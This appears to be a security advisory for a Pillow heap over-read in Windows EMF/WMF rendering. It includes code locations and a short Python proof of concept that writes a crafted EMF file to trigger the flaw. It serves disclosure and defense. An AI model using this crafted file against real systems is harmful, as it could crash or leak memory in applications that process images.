CVE-2026-96644
### Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read. ### Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check: - `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`. In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints: - `src/display.c:793-794` assign the 16-bit fields - `src/display.c:800` sizes the allocation from them - `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`). ### PoC ```python import struct from PIL import Image def L(v): return struct.pack("<i", v) # Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the # decompression-bomb check, but the width truncates to 16 bits for the allocation while # the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf) im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] * im.size[1]) im.load() # over-read happens here on a Windows build ``` On Linux the first part is observable: th
Properties
- Severity
- high
- Summary
- Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
- Nvd fetched at
- 2026-10-22T22:14:18.200859+00:00
- Epss score
- 0.00333
- Cvss severity
- HIGH
- Cvss score
- 7.1
- Retrieved at
- 2026-10-22T22:17:36+00:00
- Ghsa published
- 2026-10-22T16:03:14Z
- Source url
- https://github.com/advisories/GHSA-9v9v-9qvf-h2hj
- Ghsa updated
- 2026-10-22T16:03:16Z
- Ghsa id
- GHSA-9v9v-9qvf-h2hj
- Last source
- FIRST EPSS
- Score
- 7.1
- Cvss version
- 4.0
- Cve id
- CVE-2026-96644
- Cvss vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- First seen by Signal
- 2026-10-21T22:34:38+00:00
- Is ghsa only
- false
- Vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Published at
- 2026-10-21T21:20:32.943
Related Entities (3)
AFFECTS (1)
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